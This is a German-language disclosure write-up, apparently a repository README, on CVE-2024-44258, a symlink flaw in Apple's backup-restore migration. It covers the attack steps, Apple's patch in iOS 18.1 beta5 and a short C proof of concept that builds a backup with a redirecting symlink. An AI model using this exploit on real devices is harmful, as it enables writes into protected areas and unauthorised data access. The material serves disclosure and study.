
CVE-2024-44258
CVE-2024-44258 hebt eine Symlink-Schwachstelle im ManagedConfiguration-Framework und dem profiled-Daemon auf Apple-Geräten hervor. Beim Wiederherstellen eines manipulierten Backups wird im Migrationsprozess nicht überprüft, ob der Zielordner ein symbolischer Link (Symlink) ist, was zu einer unbefugten Dateimigration in geschützte Bereiche führt.
CVE-2024-44258 wurde dieser Sicherheitslücke zugewiesen. CVEs sind eindeutige Kennungen für öffentlich bekannt gegebene Sicherheitslücken.
Weitere Informationen finden Sie auf den offiziellen Support-Seiten von Apple:
Die Schwachstelle ermöglicht es Angreifern, symbolische Links während einer Backup-Wiederherstellung auszunutzen, um Ordnerbeschränkungen zu umgehen und Dateien in sandboxed oder geschützte Bereiche zu schreiben. Dieser Fehler kann potenziell unbefugten Datenzugriff, Privilegieneskalation oder die Ausnutzung anderer Dienste ermöglichen, die von der geänderten Konfiguration abhängen.
Erstellen eines manipulierten Backups
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
Gewünschte Dateien hinzufügen
/private/var/mobile/Library/ConfigurationProfilesDas manipulierte Backup wiederherstellen
Gerät neu starten
Erwartet:
/private/var/mobile/Library/ConfigurationProfiles sollte migriert werden nach:
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
Tatsächlich:
Aufgrund des manipulierten Symlinks werden die Dateien in einen geschützten Ordner migriert, der sensible oder geschützte Daten enthalten kann.
Diese Schwachstelle wurde mehrere Monate lang in freier Wildbahn beobachtet, was auf eine aktive Ausnutzung hindeutet.
In iOS 18.1 beta5 hat Apple einen Patch eingeführt, der die Symlink-Schwachstelle im ManagedConfiguration-Framework behebt. Die Funktion _MCDestinationPathIsSafeFromSymlinkAttacks wurde hinzugefügt, um eine Sicherheitsprüfung des Zielpfads durchzuführen und eine unbefugte Dateimigration in geschützte Bereiche zu verhindern. Diese Prüfung wurde speziell in die Funktion MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error: eingefügt.
-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]Der Fix der Sicherheitslücke wurde durch Änderung der Funktion -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:] implementiert, die für die Verwaltung von Dateimigrationen im ManagedConfiguration-Framework verantwortlich ist. So funktioniert der Patch:
Hinzufügen einer Symlink-Prüfung
Apple hat einen Aufruf von _MCDestinationPathIsSafeFromSymlinkAttacks am Anfang von MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error: hinzugefügt. Diese Funktion prüft nun, ob der Zielpfad frei von symbolischen Links ist, und fügt eine Schutzschicht hinzu, bevor eine Migration durchgeführt wird.
Bedingungsprüfung
Wenn _MCDestinationPathIsSafeFromSymlinkAttacks einen Symlink im Zielpfad erkennt, wird die Migration verhindert. Die Funktion protokolliert eine Fehlermeldung mittels OS_LOG_TYPE_FAULT und bricht frühzeitig ab, wodurch der Dateivorgang gestoppt wird.
Mit Diaphora in IDA zeigt ein Diff-Vergleich zwischen iOS 18.1 beta4 und iOS 18.1 beta5 die Änderungen in der Funktion -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]. Das folgende Bild zeigt den modifizierten Code mit der hinzugefügten Symlink-Prüfung.

Nachfolgend ein Code-Beispiel, das zeigt, wie ein Backup erstellt werden kann, das die Schwachstelle ausnutzt. Dieser Code skizziert, wie ein Symlink und Dateien zum Backup hinzugefügt werden, und simuliert den Prozess, ohne die eigentliche manipulierte Backup-Datei bereitzustellen.
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // DIES MUSS AN DEN DATEIPFAD ANGEPASST WERDEN
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // WIR FÜGEN UNSERE DATEIEN HINZU
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // ÄNDERN SIE DEN PFAD ZU DEM SANDBOXED ORDNER, IN DEN SIE IHRE DATEIEN SCHREIBEN MÖCHTEN
backup_write_mbdb(backup); // BACKUP SPEICHERN
backup_free(backup);
Besonderer Dank gilt dem Apple-Sicherheitsteam für seine schnelle Reaktion und Zusammenarbeit.
Schwachstelle entdeckt von Hichem Maloufi & Christian Mina
Dieses Repository ist unter der MIT-Lizenz lizenziert. Weitere Informationen finden Sie in der LICENSE.